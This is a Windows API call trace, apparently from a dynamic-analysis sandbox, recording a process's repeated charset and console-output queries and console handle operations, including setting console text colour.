	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.444] GetLastError () returned 0xcb
	[0087.444] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.445] GetLastError () returned 0xcb
	[0087.445] GetConsoleOutputCP () returned 0x1b5
	[0087.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.446] GetConsoleOutputCP () returned 0x1b5
	[0087.446] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.446] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.447] GetLastError () returned 0xcb
	[0087.447] GetConsoleOutputCP () returned 0x1b5
	[0087.447] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.448] GetConsoleOutputCP () returned 0x1b5
	[0087.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.448] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.449] GetLastError () returned 0xcb
	[0087.449] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.450] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.450] GetLastError () returned 0xcb
	[0087.450] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.451] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.451] GetLastError () returned 0xcb
	[0087.451] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.452] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.452] GetLastError () returned 0xcb
	[0087.452] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.453] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.453] GetLastError () returned 0xcb
	[0087.453] GetConsoleOutputCP () returned 0x1b5
	[0087.454] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.454] GetLastError () returned 0xcb
	[0087.454] GetConsoleOutputCP () returned 0x1b5
	[0087.454] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.454] GetLastError () returned 0xcb
	[0087.477] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17
	[0087.477] GetLastError () returned 0xcb
	[0087.477] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.477] GetLastError () returned 0xcb
	[0087.479] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0087.479] GetLastError () returned 0xcb
	[0087.479] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5eaf050 | out: lpMode=0x5eaf050) returned 1
	[0087.479] GetLastError () returned 0xcb
	[0087.482] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b
	[0087.483] GetLastError () returned 0xcb
	[0087.483] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.483] GetLastError () returned 0xcb
	[0087.486] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f
	[0087.486] GetLastError () returned 0xcb
	[0087.486] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.487] GetLastError () returned 0xcb
	[0087.490] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.490] GetLastError () returned 0xcb
	[0087.490] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.490] GetLastError () returned 0xcb
	[0087.492] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1
	[0087.492] GetLastError () returned 0xcb
	[0087.493] CloseHandle (hObject=0x23) returned 1
	[0087.494] GetLastError () returned 0xcb
	[0087.497] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.497] GetLastError () returned 0xcb
	[0087.497] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.497] GetLastError () returned 0xcb
	[0087.497] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1
	[0087.497] GetLastError () returned 0xcb
	[0087.498] CloseHandle (hObject=0x23) returned 1
	[0087.498] GetLastError () returned 0xcb
	[0087.498] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0087.498] GetLastError () returned 0xcb
	[0087.498] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x5eaefe8 | out: lpMode=0x5eaefe8) returned 1
	[0087.498] GetLastError () returned 0xcb
	[0087.501] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.502] GetLastError () returned 0xcb
	[0087.502] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.502] GetLastError () returned 0xcb
